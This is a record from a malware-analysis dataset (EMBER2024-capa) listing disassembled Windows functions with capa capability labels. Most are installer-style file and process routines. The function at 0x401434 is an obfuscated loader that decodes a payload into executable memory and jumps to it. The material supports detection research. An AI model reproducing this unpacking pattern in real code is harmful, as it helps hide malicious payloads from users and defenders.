joyce8/EMBER2024-capa huggingface dataset:
Function at 0x4051a7
Capabilities:
Create process on windows

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x10
lea eax, [ebp - 0x10]
mov dword [0x422518], 0x44
push eax
xor eax, eax
push 0x422518
push eax
push eax
push eax
push eax
push eax
push eax
push dword [ebp + 8]
push eax
call dword [sym.imp.KERNEL32.DLL_CreateProcessA]
test eax, eax
je 0x4051e2
push dword [ebp - 0xc]
call dword [sym.imp.KERNEL32.DLL_CloseHandle]
mov eax, dword [ebp - 0x10]
leave
ret 4

Function at 0x40526c
Capabilities:
Delete directory
Delete file
Enumerate files on windows
Enumerate files recursively

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x148
push ebx
mov ebx, dword [ebp + 8]
push esi
push ebx
call fcn.0040550e
mov ecx, dword [ebp + 0xc]
mov dword [ebp - 8], eax
test cl, 8
je 0x4052a2
push ebx
call dword [sym.imp.KERNEL32.DLL_DeleteFileA]
neg eax
sbb eax, eax
inc eax
add dword [0x423f88], eax
jmp 0x405427
mov dword [ebp + 8], ecx
push edi
and dword [ebp + 8], 1
je 0x4052bd
test eax, eax
je 0x4053d2
test cl, 2
je 0x4053d2
mov esi, 0x421518
push ebx
push esi
call fcn.0040593a
cmp dword [ebp + 8], 0
je 0x4052dc
push str..
push esi
call sub.KERNEL32.DLL_lstrcatA
jmp 0x4052e2
push ebx
call fcn.00405474
push 0x409010
push ebx
call sub.KERNEL32.DLL_lstrcatA
push ebx
call sub.KERNEL32.DLL_lstrlenA
mov edi, eax
lea eax, [ebp - 0x148]
push eax
push esi
add edi, ebx
call dword [sym.imp.KERNEL32.DLL_FindFirstFileA]
cmp eax, 0xffffffff
mov dword [ebp - 4], eax
je 0x4053c8
lea eax, [ebp - 0x11c]
push 0x3f
push eax
lea esi, [ebp - 0x11c]
call fcn.00405458
cmp byte [eax], 0
je 0x405333
cmp byte [ebp - 0x18], 0
je 0x405333
lea esi, [ebp - 0x18]
cmp byte [esi], 0x2e
jne 0x405349
mov al, byte [esi + 1]
test al, al
je 0x4053a7
cmp al, 0x2e
jne 0x405349
cmp byte [esi + 2], 0
je 0x4053a7
push esi
push edi
call fcn.0040593a
test byte [ebp - 0x148], 0x10
je 0x40536e
mov eax, dword [ebp + 0xc]
and eax, 3
cmp al, 3
jne 0x4053a7
push dword [ebp + 0xc]
push ebx
call fcn.0040526c
jmp 0x4053a7
push ebx
call fcn.004055f2
push ebx
call dword [sym.imp.KERNEL32.DLL_DeleteFileA]
test eax, eax
jne 0x40539f
test byte [ebp + 0xc], 4
je 0x405397
push ebx
push 0xfffffffffffffff1
call fcn.00404cee
push 0
push ebx
call fcn.00405688
jmp 0x4053a7
inc dword [0x423f88]
jmp 0x4053a7
push ebx
push 0xfffffffffffffff2
call fcn.00404cee
lea eax, [ebp - 0x148]
push eax
push dword [ebp - 4]
call dword [sym.imp.KERNEL32.DLL_FindNextFileA]
test eax, eax
jne 0x405311
push dword [ebp - 4]
call dword [sym.imp.KERNEL32.DLL_FindClose]
cmp dword [ebp + 8], 0
je 0x4053d2
and byte [edi - 1], 0
xor esi, esi
pop edi
cmp dword [ebp + 8], esi
je 0x405427
cmp dword [ebp - 8], esi
jne 0x4053e7
inc dword [0x423f88]
jmp 0x405427
push ebx
call fcn.00405be2
test eax, eax
je 0x405427
push ebx
call fcn.0040542d
push ebx
call fcn.004055f2
push ebx
call dword [sym.imp.KERNEL32.DLL_RemoveDirectoryA]
test eax, eax
jne 0x40541f
test byte [ebp + 0xc], 4
je 0x4053df
push ebx
push 0xfffffffffffffff1
call fcn.00404cee
push esi
push ebx
call fcn.00405688
jmp 0x405427
push ebx
push 0xffffffffffffffe5
call fcn.00404cee
pop esi
pop ebx
leave
ret 8
Function at 0x40550e
Capabilities:
Check if file exists
Get file attributes

Disassembly:
push esi
push edi
push dword [esp + 0xc]
mov esi, 0x421918
push esi
call fcn.0040593a
push esi
call fcn.004054c1
mov edi, eax
test edi, edi
jne 0x40552f
xor eax, eax
jmp 0x405581
push edi
call fcn.00405b49
test byte [0x423f10], 0x80
je 0x405548
mov al, byte [edi]
test al, al
je 0x40552b
cmp al, 0x5c
je 0x40552b
sub edi, esi
jmp 0x405560
call fcn.00405be2
test eax, eax
je 0x40555a
test byte [eax], 0x10
je 0x40552b
push esi
call fcn.00405474
push esi
call sub.KERNEL32.DLL_lstrlenA
cmp eax, edi
push esi
jg 0x40554c
call fcn.0040542d
push esi
call dword [sym.imp.KERNEL32.DLL_GetFileAttributesA]
xor ecx, ecx
cmp eax, 0xffffffff
setne cl
mov eax, ecx
pop edi
pop esi
ret 4

Function at 0x4055f2
Capabilities:
Check if file exists
Get file attributes
Set file attributes

Disassembly:
push dword [esp + 4]
call dword [sym.imp.KERNEL32.DLL_GetFileAttributesA]
cmp eax, 0xffffffff
je 0x40560e
and al, 0xfe
push eax
push dword [esp + 8]
call dword [sym.imp.KERNEL32.DLL_SetFileAttributesA]
ret 4

Function at 0x405611
Capabilities:
Get file attributes

Disassembly:
push dword [esp + 4]
call dword [sym.imp.KERNEL32.DLL_GetFileAttributesA]
mov ecx, eax
push 0
inc ecx
neg ecx
sbb ecx, ecx
and ecx, eax
push ecx
push dword [esp + 0x14]
push 0
push 1
push dword [esp + 0x1c]
push dword [esp + 0x1c]
call dword [sym.imp.KERNEL32.DLL_CreateFileA]
ret 0xc

Function at 0x405640
Capabilities:
Get common file path

Disassembly:
push ebp
mov ebp, esp
push esi
mov esi, dword [ebp + 8]
push edi
push 0x64
pop edi
dec edi
mov dword [ebp + 8], 0x61736e
call dword [sym.imp.KERNEL32.DLL_GetTickCount]
push 0x1a
xor edx, edx
pop ecx
div ecx
push esi
lea eax, [ebp + 8]
push 0
push eax
push dword [ebp + 0xc]
add byte [ebp + 0xa], dl
call dword [sym.imp.KERNEL32.DLL_GetTempFileNameA]
test eax, eax
jne 0x405684
test edi, edi
jne 0x40564b
and byte [esi], 0
pop edi
pop esi
pop ebp
ret 8
mov eax, esi
jmp 0x40567e
Function at 0x405688
Capabilities:
Get file size
Read file on windows
Write file on windows

Disassembly:
push ebx
push ebp
push esi
push edi
push 1
call fcn.00405c20
test eax, eax
mov esi, dword [esp + 0x18]
je 0x4056ac
push 5
push esi
push dword [esp + 0x1c]
call eax
test eax, eax
jne 0x4057e5
mov ebx, dword [sym.imp.KERNEL32.DLL_GetShortPathNameA]
mov dword [0x4226a0], 0x4c554e
test esi, esi
mov edi, 0x400
mov ebp, 0x4226a0
je 0x4056f0
push 1
push 0
push esi
call fcn.00405611
push eax
call dword [sym.imp.KERNEL32.DLL_CloseHandle]
push edi
push ebp
push esi
call ebx
test eax, eax
je 0x4057eb
cmp eax, edi
jg 0x4057eb
mov esi, 0x422118
push edi
push esi
push dword [esp + 0x1c]
call ebx
test eax, eax
je 0x4057eb
cmp eax, edi
jg 0x4057eb
push esi
push ebp
push str._s_s_r_n
push 0x421d18
call dword [sym.imp.USER32.dll_wsprintfA]
mov ebx, eax
mov eax, dword [0x423f08]
add esp, 0x10
push dword [eax + 0x128]
push esi
call fcn.0040595c
push 4
push 0xc0000000
push esi
call fcn.00405611
mov ebp, eax
cmp ebp, 0xffffffff
mov dword [esp + 0x14], ebp
je 0x4057e5
push 0
push ebp
call dword [sym.imp.KERNEL32.DLL_GetFileSize]
mov edi, eax
lea eax, [edi + ebx + 0xa]
push eax
push 0x40
call dword [sym.imp.KERNEL32.DLL_GlobalAlloc]
mov esi, eax
test esi, esi
je 0x4057de
lea eax, [esp + 0x18]
push 0
push eax
push edi
push esi
push ebp
call dword [sym.imp.KERNEL32.DLL_ReadFile]
test eax, eax
je 0x4057de
cmp edi, dword [esp + 0x18]
jne 0x4057de
push str._Rename__r_n
push esi
call fcn.00405586
test eax, eax
jne 0x4057f2
lea eax, [esi + edi]
push str._Rename__r_n
push eax
call fcn.0040593a
add edi, 0xa
mov eax, edi
push ebx
add eax, esi
push 0x421d18
push eax
call fcn.004055d2
xor eax, eax
push eax
push eax
push eax
push ebp
call dword [sym.imp.KERNEL32.DLL_SetFilePointer]
lea eax, [esp + 0x18]
push 0
add edi, ebx
push eax
push edi
push esi
push ebp
call dword [sym.imp.KERNEL32.DLL_WriteFile]
push esi
call dword [sym.imp.KERNEL32.DLL_GlobalFree]
push ebp
call dword [sym.imp.KERNEL32.DLL_CloseHandle]
inc dword [0x423f90]
pop edi
pop esi
pop ebp
pop ebx
ret 8
add eax, 0xa
push 0x409388
push eax
call fcn.00405586
test eax, eax
je 0x4057a9
inc eax
lea ecx, [esi + edi]
cmp eax, ecx
mov ebp, eax
jae 0x405819
mov dl, byte [ebp]
mov byte [ebx + ebp], dl
inc ebp
cmp ebp, ecx
jb 0x40580e
mov ebp, dword [esp + 0x14]
sub eax, esi
jmp 0x4057ab
Function at 0x40595c
Capabilities:
Get common file path

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x14
push ebx
push esi
push edi
mov edi, dword [ebp + 0xc]
test edi, edi
jge 0x40597d
mov ecx, dword [0x4236dc]
lea eax, [edi*4 + 4]
sub ecx, eax
mov edi, dword [ecx]
mov eax, dword [0x423f38]
mov ecx, dword [ebp + 8]
add edi, eax
mov eax, 0x422ea0
sub ecx, eax
mov ebx, eax
cmp ecx, 0x800
jae 0x405b23
mov ebx, dword [ebp + 8]
and dword [ebp + 8], 0
jmp 0x405b23
mov edx, ebx
sub edx, eax
cmp edx, 0x400
jge 0x405b30
inc edi
cmp cl, 0xfc
jbe 0x405b16
movsx eax, byte [edi + 1]
movsx ecx, byte [edi]
mov esi, eax
mov edx, ecx
and esi, 0x7f
and edx, 0x7f
shl esi, 7
or esi, edx
mov edx, 0x8000
mov dword [ebp - 0x14], ecx
mov dword [ebp - 0xc], eax
or ecx, edx
or eax, edx
inc edi
mov dword [ebp - 0x10], ecx
inc edi
cmp byte [ebp + 0xf], 0xfe
mov dword [ebp - 8], eax
jne 0x405ac1
cmp dword [0x423f84], 0
push 2
pop esi
je 0x405a08
push 4
pop esi
mov eax, dword [ebp - 0x14]
test al, al
jns 0x405a3f
mov ecx, eax
and eax, 0x3f
add eax, dword [0x423f38]
and ecx, 0x40
push ecx
push ebx
push eax
push str.SoftwareMicrosoftWindowsCurrentVersion
push 0x80000002
call fcn.00405821
cmp byte [ebx], 0
jne 0x405aa8
push dword [ebp - 0xc]
push ebx
call fcn.0040595c
jmp 0x405aa3
cmp eax, 0x25
jne 0x405a52
push 0x400
push ebx
call dword [sym.imp.KERNEL32.DLL_GetSystemDirectoryA]
jmp 0x405aa3
cmp eax, 0x24
jne 0x405a9f
push 0x400
push ebx
call dword [sym.imp.KERNEL32.DLL_GetWindowsDirectoryA]
xor esi, esi
jmp 0x405a9f
lea eax, [ebp - 4]
dec esi
push eax
push dword [ebp + esi*4 - 0x14]
push dword [0x423f04]
call dword [sym.imp.SHELL32.dll_SHGetSpecialFolderLocation]
test eax, eax
jne 0x405a9c
push ebx
push dword [ebp - 4]
call dword [sym.imp.SHELL32.dll_SHGetPathFromIDListA]
push dword [ebp - 4]
mov dword [ebp + 0xc], eax
call dword [sym.imp.ole32.dll_CoTaskMemFree]
cmp dword [ebp + 0xc], 0
jne 0x405aa3
and byte [ebx], 0
test esi, esi
jne 0x405a67
cmp byte [ebx], 0
je 0x405ab9
cmp dword [ebp - 0xc], 0x1a
jne 0x405ab9
push str.MicrosoftInternet_ExplorerQuick_Launch
push ebx
call sub.KERNEL32.DLL_lstrcatA
push ebx
call fcn.00405b49
jmp 0x405b07
cmp byte [ebp + 0xf], 0xfd
jne 0x405af5
cmp esi, 0x1d
jne 0x405ada
push dword [0x423f04]
push ebx
call fcn.00405898
jmp 0x405aeb
mov eax, esi
shl eax, 0xa
add eax, section..ndata
push eax
push ebx
call fcn.0040593a
add esi, 0xffffffeb
cmp esi, 7
jae 0x405b07
jmp 0x405ab9
cmp byte [ebp + 0xf], 0xff
jne 0x405b07
or eax, 0xffffffff
sub eax, esi
push eax
push ebx
call fcn.0040595c
push ebx
call sub.KERNEL32.DLL_lstrlenA
add ebx, eax
mov eax, 0x422ea0
jmp 0x405b23
jne 0x405b20
mov cl, byte [edi]
mov byte [ebx], cl
inc ebx
inc edi
jmp 0x405b23
mov byte [ebx], cl
inc ebx
mov cl, byte [edi]
test cl, cl
mov byte [ebp + 0xf], cl
jne 0x4059a8
and byte [ebx], 0
cmp dword [ebp + 8], 0
pop edi
pop esi
pop ebx
je 0x405b45
push eax
push dword [ebp + 8]
call fcn.0040593a
leave
ret 8
Function at 0x401434
Capabilities:
Encode data using xor

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x54
pushal
call 0x401443
pop dword [ebp - 0x44]
mov eax, 0x401443
sub dword [ebp - 0x44], eax
mov dword [ebp - 0x54], 0x86f3bdfe
add dword [ebp - 0x54], 0xc75e874d
mov dword [ebp - 0x50], 0x73e89eb8
add dword [ebp - 0x50], 0xbe4aad8d
mov dword [ebp - 0x4c], 0xf1a2af71
sub dword [ebp - 0x4c], 0xa5566b43
mov dword [ebp - 0x48], 0xc24d1f4d
add dword [ebp - 0x48], 0x3db2e0b3
lea eax, [ebp - 0x54]
push eax
mov eax, 0x6838f68f
sub eax, 0x67f87617
add eax, dword [ebp - 0x44]
call dword [eax]
mov dword [ebp - 0x54], 0x796b5a6
add dword [ebp - 0x54], 0x6cdbb3b0
mov dword [ebp - 0x50], 0x19d7df04
sub dword [ebp - 0x50], 0xd86b7d8f
mov dword [ebp - 0x4c], 0x71d7119d
sub dword [ebp - 0x4c], 0xe67a531
mov dword [ebp - 0x48], 0x320ed9f3
sub dword [ebp - 0x48], 0x320ed9f3
lea ebx, [ebp - 0x54]
push ebx
push eax
mov eax, 0x64f69f
add eax, 0xffdb89dd
add eax, dword [ebp - 0x44]
call dword [eax]
push 0x40
push 0x1000
push 0x3b505
push 0
call eax
mov ecx, 0x468d6169
add ecx, 0xb972f257
xor edi, edi
add edi, eax
mov ebx, 0x6d7c3b5a
add ebx, 0x92c8d8a6
add ebx, dword [ebp - 0x44]
mov edx, 0xa4a4489f
mov esi, dword [ebx]
xor dword [ebp - 0x14], edi
sub esi, edx
add dword [ebp - 4], edx
mov dword [edi], esi
sub dword [ebp - 0x28], 0xe9ec9225
add edi, 0xa612da96
add edi, 0x59ed256e
add ebx, 4
loop 0x40155c
add eax, 0x2aeec0ed
add eax, 0xd51280e6
xor ebx, ebx
add ebx, eax
add eax, 0xaa74f818
add eax, 0x558b07ed
mov ecx, 0x400000
add ecx, dword [ebp - 0x44]
call ebx
leave
ret
Function at 0x40324c
Capabilities:
Check for time delay via gettickcount

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x94
push ebx
push esi
mov esi, dword [ebp + 0x14]
push edi
mov edi, dword [ebp + 0x10]
mov dword [ebp - 8], esi
test edi, edi
jne 0x40326c
mov dword [ebp - 8], 0x8000
and dword [ebp - 4], 0
mov dword [ebp - 0xc], edi
test edi, edi
jne 0x40327e
mov dword [ebp - 0xc], 0x422a20
mov eax, dword [ebp + 8]
test eax, eax
jl 0x403293
mov ecx, dword [0x434f78]
add ecx, eax
push ecx
call fcn.0040347d
lea eax, [ebp + 0x14]
push 4
push eax
call fcn.00403467
test eax, eax
je 0x403455
test byte [ebp + 0x17], 0x80
je 0x403400
mov ebx, dword [sym.imp.kernel32.dll_GetTickCount]
call ebx
and dword [0x40d384], 0
and dword [0x40d380], 0
and dword [ebp + 0x14], 0x7fffffff
mov dword [ebp - 0x10], eax
mov eax, 0x40ea08
mov dword [0x40ce68], 8
mov dword [0x416a10], eax
mov dword [0x416a0c], eax
mov eax, dword [ebp + 0x14]
mov dword [0x416a08], 0x416a08
mov dword [ebp + 8], eax
jle 0x40345d
mov esi, 0x4000
cmp dword [ebp + 0x14], esi
jge 0x40330c
mov esi, dword [ebp + 0x14]
mov edi, 0x41ea20
push esi
push edi
call fcn.00403467
test eax, eax
je 0x403455
sub dword [ebp + 0x14], esi
mov dword [0x40ce58], edi
mov dword [0x40ce5c], esi
mov edi, dword [ebp - 0xc]
mov eax, dword [ebp - 8]
push 0x40ce58
mov dword [0x40ce60], edi
mov dword [0x40ce64], eax
call fcn.00401434
test eax, eax
mov dword [ebp - 0x14], eax
jl 0x4033f8
mov esi, dword [0x40ce60]
sub esi, edi
call ebx
test byte [0x434fd4], 1
mov edi, eax
je 0x4033b3
sub eax, dword [ebp - 0x10]
cmp eax, 0xc8
ja 0x40337a
cmp dword [ebp + 0x14], 0
jne 0x4033b3
mov eax, dword [ebp + 8]
push dword [ebp + 8]
sub eax, dword [ebp + 0x14]
push 0x64
push eax
call dword [sym.imp.kernel32.dll_MulDiv]
push eax
lea eax, [ebp - 0x94]
push str....__d__
push eax
call dword [sym.imp.user32.dll_wsprintfW]
add esp, 0xc
lea eax, [ebp - 0x94]
push eax
push 0
call fcn.00401434
mov dword [ebp - 0x10], edi
test esi, esi
je 0x4033ec
cmp dword [ebp + 0x10], 0
jne 0x4033d2
push esi
push dword [ebp - 0xc]
push dword [ebp + 0xc]
call fcn.00401434
test eax, eax
je 0x4033fc
add dword [ebp - 4], esi
jmp 0x4033e0
mov eax, dword [0x40ce60]
add dword [ebp - 4], esi
sub dword [ebp - 8], esi
mov dword [ebp - 0xc], eax
cmp dword [ebp - 0x14], 1
jne 0x40332f
jmp 0x40345d
cmp dword [ebp + 0x14], 0
jg 0x4032ff
jmp 0x40345d
push 0xfffffffffffffffc
jmp 0x403457
push 0xfffffffffffffffe
jmp 0x403457
test edi, edi
jne 0x403442
cmp dword [ebp + 0x14], edi
jle 0x40345d
mov ebx, dword [ebp - 8]
cmp dword [ebp + 0x14], ebx
mov esi, dword [ebp + 0x14]
jl 0x403416
mov esi, ebx
mov edi, 0x41ea20
push esi
push edi
call fcn.00403467
test eax, eax
je 0x403455
push esi
push edi
push dword [ebp + 0xc]
call fcn.00401434
test eax, eax
je 0x4033fc
add dword [ebp - 4], esi
sub dword [ebp + 0x14], esi
cmp dword [ebp + 0x14], 0
jg 0x40340c
jmp 0x40345d
cmp dword [ebp + 0x14], esi
jge 0x40344a
mov esi, dword [ebp + 0x14]
push esi
push edi
call fcn.00403467
test eax, eax
jne 0x40345a
push 0xfffffffffffffffd
pop eax
jmp 0x403460
mov dword [ebp - 4], esi
mov eax, dword [ebp - 4]
pop edi
pop esi
pop ebx
leave
ret 0x10
Function at 0x405948
Capabilities:
Create directory

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x20
mov eax, 0x4083f8
and byte [ebp - 0x1f], 0
mov dword [ebp - 0x1c], eax
mov dword [ebp - 0x18], eax
lea eax, [ebp - 0x20]
and dword [ebp - 0x14], 0
and dword [ebp - 4], 0
mov dword [ebp - 8], eax
lea eax, [ebp - 0xc]
push esi
push eax
mov byte [ebp - 0x20], 1
push dword [ebp + 8]
mov word [ebp - 0x1e], 4
mov dword [ebp - 0x10], 0x4083e8
mov dword [ebp - 0xc], 0xc
call dword [sym.imp.kernel32.dll_CreateDirectoryW]
test eax, eax
je 0x405999
xor eax, eax
jmp 0x4059c0
mov esi, dword [sym.imp.kernel32.dll_GetLastError]
call esi
cmp eax, 0xb7
jne 0x4059c0
lea eax, [ebp - 0x20]
push eax
push 0x80000007
push dword [ebp + 8]
call dword [sym.imp.advapi32.dll_SetFileSecurityW]
test eax, eax
jne 0x405995
call esi
pop esi
leave
ret 4

Function at 0x4059fa
Capabilities:
Create process on windows

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x10
lea eax, [ebp - 0x10]
mov dword [0x430270], 0x44
push eax
xor eax, eax
push 0x430270
push eax
push eax
push 0x4000000
push eax
push eax
push eax
push dword [ebp + 8]
push eax
call dword [sym.imp.kernel32.dll_CreateProcessW]
test eax, eax
je 0x405a39
push dword [ebp - 0xc]
call dword [sym.imp.kernel32.dll_CloseHandle]
mov eax, dword [ebp - 0x10]
leave
ret 4

Function at 0x405a3d
Capabilities:
Create process on windows

Disassembly:
mov eax, dword [esp + 4]
push eax
and dword [eax + 0x24], 0
mov dword [eax], 0x3c
call dword [sym.imp.shell32.dll_ShellExecuteExW]
ret 4

Function at 0x405adb
Capabilities:
Delete directory
Delete file
Set file attributes

Disassembly:
push esi
mov esi, dword [esp + 8]
push edi
push esi
call fcn.00405ee2
mov edi, eax
cmp edi, 0xffffffff
je 0x405b1c
test byte [esp + 0x10], 1
push esi
je 0x405afe
call dword [sym.imp.kernel32.dll_RemoveDirectoryW]
jmp 0x405b04
call dword [sym.imp.kernel32.dll_DeleteFileW]
test eax, eax
je 0x405b0d
xor eax, eax
inc eax
jmp 0x405b1e
test byte [esp + 0x10], 4
jne 0x405b1c
push edi
push esi
call dword [sym.imp.kernel32.dll_SetFileAttributesW]
xor eax, eax
pop edi
pop esi
ret 8
Function at 0x405b23
Capabilities:
Delete file
Enumerate files on windows

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x258
push ebx
mov ebx, dword [ebp + 0xc]
push esi
push edi
mov edi, dword [ebp + 8]
mov eax, ebx
and eax, 4
push edi
mov dword [ebp - 4], eax
call fcn.00405dee
test bl, 8
mov dword [ebp - 8], eax
je 0x405b62
push edi
call dword [sym.imp.kernel32.dll_DeleteFileW]
neg eax
sbb eax, eax
inc eax
add dword [0x434fa8], eax
jmp 0x405cdf
mov dword [ebp + 8], ebx
and dword [ebp + 8], 1
je 0x405b7c
test eax, eax
je 0x405c8d
test bl, 2
je 0x405c8d
mov esi, 0x42f270
push edi
push esi
call fcn.00406411
cmp dword [ebp + 8], 0
je 0x405b9b
push str..
push esi
call sub.kernel32.dll_lstrcatW
jmp 0x405ba1
push edi
call fcn.00405d32
cmp word [edi], 0
jne 0x405bb1
cmp word [0x42f270], 0x5c
jne 0x405bbc
push 0x40a014
push edi
call sub.kernel32.dll_lstrcatW
push edi
call sub.kernel32.dll_lstrlenW
lea ebx, [edi + eax*2]
lea eax, [ebp - 0x258]
push eax
push esi
call dword [sym.imp.kernel32.dll_FindFirstFileW]
mov esi, eax
cmp esi, 0xffffffff
je 0x405c82
cmp word [ebp - 0x22c], 0x2e
jne 0x405c06
cmp word [ebp - 0x22a], 0
je 0x405c65
cmp word [ebp - 0x22a], 0x2e
jne 0x405c06
cmp word [ebp - 0x228], 0
je 0x405c65
lea eax, [ebp - 0x22c]
push eax
push ebx
call fcn.00406411
test byte [ebp - 0x258], 0x10
je 0x405c31
mov eax, dword [ebp + 0xc]
and eax, 3
cmp al, 3
jne 0x405c65
push dword [ebp + 0xc]
push edi
call fcn.00401434
jmp 0x405c65
push dword [ebp - 4]
push edi
call fcn.00405adb
test eax, eax
jne 0x405c5d
cmp dword [ebp - 4], eax
je 0x405c55
push edi
push 0xfffffffffffffff1
call fcn.00401434
push 0
push edi
call fcn.004061d7
jmp 0x405c65
inc dword [0x434fa8]
jmp 0x405c65
push edi
push 0xfffffffffffffff2
call fcn.00401434
lea eax, [ebp - 0x258]
push eax
push esi
call dword [sym.imp.kernel32.dll_FindNextFileW]
test eax, eax
jne 0x405bde
push esi
call dword [sym.imp.kernel32.dll_FindClose]
cmp dword [ebp + 8], 0
je 0x405c8d
and word [ebx - 2], 0
xor esi, esi
cmp dword [ebp + 8], esi
je 0x405cdf
cmp dword [ebp - 8], esi
jne 0x405ca1
inc dword [0x434fa8]
jmp 0x405cdf
push edi
call fcn.0040676f
test eax, eax
je 0x405cdf
push edi
call fcn.00405ce6
mov eax, dword [ebp - 4]
or al, 1
push eax
push edi
call fcn.00405adb
test eax, eax
jne 0x405cd7
cmp dword [ebp - 4], esi
je 0x405c99
push edi
push 0xfffffffffffffff1
call fcn.00401434
push esi
push edi
call fcn.004061d7
jmp 0x405cdf
push edi
push 0xffffffffffffffe5
call fcn.00401434
pop edi
pop esi
pop ebx
leave
ret 8
Function at 0x405dee
Capabilities:
Check if file exists
Get file attributes

Disassembly:
push esi
push edi
push dword [esp + 0xc]
mov esi, 0x42fa70
push esi
call fcn.00406411
push esi
call fcn.00405d91
mov edi, eax
test edi, edi
jne 0x405e0f
xor eax, eax
jmp 0x405e67
push edi
call fcn.004066c0
test byte [0x434f1c], 0x80
je 0x405e2c
mov ax, word [edi]
test ax, ax
je 0x405e0b
cmp ax, 0x5c
je 0x405e0b
sub edi, esi
sar edi, 1
jmp 0x405e46
call fcn.0040676f
test eax, eax
je 0x405e40
test byte [eax], 0x10
je 0x405e0b
push esi
call fcn.00405d32
push esi
call sub.kernel32.dll_lstrlenW
cmp eax, edi
push esi
jg 0x405e32
call fcn.00405ce6
push esi
call dword [sym.imp.kernel32.dll_GetFileAttributesW]
xor ecx, ecx
cmp eax, 0xffffffff
setne cl
mov eax, ecx
pop edi
pop esi
ret 4

Function at 0x405ee2
Capabilities:
Check if file exists
Get file attributes
Set file attributes

Disassembly:
push esi
push dword [esp + 8]
call dword [sym.imp.kernel32.dll_GetFileAttributesW]
mov esi, eax
cmp esi, 0xffffffff
je 0x405f01
and al, 0xfe
push eax
push dword [esp + 0xc]
call dword [sym.imp.kernel32.dll_SetFileAttributesW]
mov eax, esi
pop esi
ret 4

Function at 0x405f07
Capabilities:
Get file attributes

Disassembly:
push dword [esp + 4]
call dword [sym.imp.kernel32.dll_GetFileAttributesW]
mov ecx, eax
push 0
inc ecx
neg ecx
sbb ecx, ecx
and ecx, eax
push ecx
push dword [esp + 0x14]
push 0
push 1
push dword [esp + 0x1c]
push dword [esp + 0x1c]
call dword [sym.imp.kernel32.dll_CreateFileW]
ret 0xc

Function at 0x405f36
Capabilities:
Get common file path

Disassembly:
push ebp
mov ebp, esp
push ecx
push ecx
push esi
mov esi, dword [ebp + 8]
push edi
push 0x64
pop edi
mov eax, dword [0x40a578]
dec edi
mov dword [ebp - 8], eax
mov eax, dword [0x40a57c]
mov dword [ebp - 4], eax
call dword [sym.imp.kernel32.dll_GetTickCount]
push 0x1a
xor edx, edx
pop ecx
div ecx
push esi
lea eax, [ebp - 8]
push 0
push eax
push dword [ebp + 0xc]
add word [ebp - 4], dx
call dword [sym.imp.kernel32.dll_GetTempFileNameW]
test eax, eax
jne 0x405f86
test edi, edi
jne 0x405f43
and word [esi], di
pop edi
pop esi
leave
ret 8
mov eax, esi
jmp 0x405f80
Function at 0x40605d
Capabilities:
Get file size

Disassembly:
push ebx
mov ebx, dword [sym.imp.kernel32.dll_GetShortPathNameW]
push ebp
push esi
mov esi, dword [esp + 0x14]
push edi
test esi, esi
mov dword [0x430908], 0x55004e
mov dword [0x43090c], 0x4c
mov edi, 0x400
mov ebp, 0x430908
je 0x4060b3
push 1
push 0
push esi
call fcn.00405f07
push eax
call dword [sym.imp.kernel32.dll_CloseHandle]
push edi
push ebp
push esi
call ebx
test eax, eax
je 0x4061d2
cmp eax, edi
jg 0x4061d2
mov esi, 0x431108
push edi
push esi
push dword [esp + 0x1c]
call ebx
test eax, eax
je 0x4061d2
cmp eax, edi
jg 0x4061d2
push esi
push ebp
push str._ls_ls_r_n
push 0x430508
call dword [sym.imp.user32.dll_wsprintfA]
mov ebx, eax
mov eax, dword [0x434f14]
add esp, 0x10
push dword [eax + 0x128]
push esi
call fcn.00401434
push 4
push 0xc0000000
push esi
call fcn.00405f07
mov ebp, eax
cmp ebp, 0xffffffff
mov dword [esp + 0x18], ebp
je 0x4061d2
push 0
push ebp
call dword [sym.imp.kernel32.dll_GetFileSize]
mov edi, eax
lea eax, [edi + ebx + 0xa]
push eax
push 0x40
call dword [sym.imp.kernel32.dll_GlobalAlloc]
mov esi, eax
test esi, esi
je 0x4061cb
push edi
push esi
push ebp
call fcn.00401434
test eax, eax
je 0x4061cb
push str._Rename__r_n
push esi
call fcn.00401434
test eax, eax
jne 0x406169
lea eax, [esi + edi]
push str._Rename__r_n
push eax
call dword [sym.imp.kernel32.dll_lstrcpyA]
add edi, 0xa
jmp 0x40619e
add eax, 0xa
push 0x40a580
push eax
call fcn.00401434
mov ebp, eax
test ebp, ebp
je 0x40619a
lea ecx, [esi + edi]
lea eax, [ecx + ebx]
jmp 0x40618b
mov dl, byte [ecx]
mov byte [eax], dl
dec eax
dec ecx
cmp ecx, ebp
ja 0x406185
sub ebp, esi
inc ebp
mov eax, ebp
mov ebp, dword [esp + 0x18]
jmp 0x4061a0
mov ebp, dword [esp + 0x18]
mov eax, edi
push ebx
add eax, esi
push 0x430508
push eax
call fcn.00405ec2
xor eax, eax
push eax
push eax
push eax
push ebp
call dword [sym.imp.kernel32.dll_SetFilePointer]
add edi, ebx
push edi
push esi
push ebp
call fcn.00401434
push esi
call dword [sym.imp.kernel32.dll_GlobalFree]
push ebp
call dword [sym.imp.kernel32.dll_CloseHandle]
pop edi
pop esi
pop ebp
pop ebx
ret

Function at 0x4061d7
Capabilities:
Move file

Disassembly:
push 5
push dword [esp + 0xc]
push dword [esp + 0xc]
call dword [sym.imp.kernel32.dll_MoveFileExW]
test eax, eax
jne 0x4061fa
push dword [esp + 8]
push dword [esp + 8]
call fcn.0040605d
pop ecx
pop ecx
inc dword [0x434fb0]
ret 8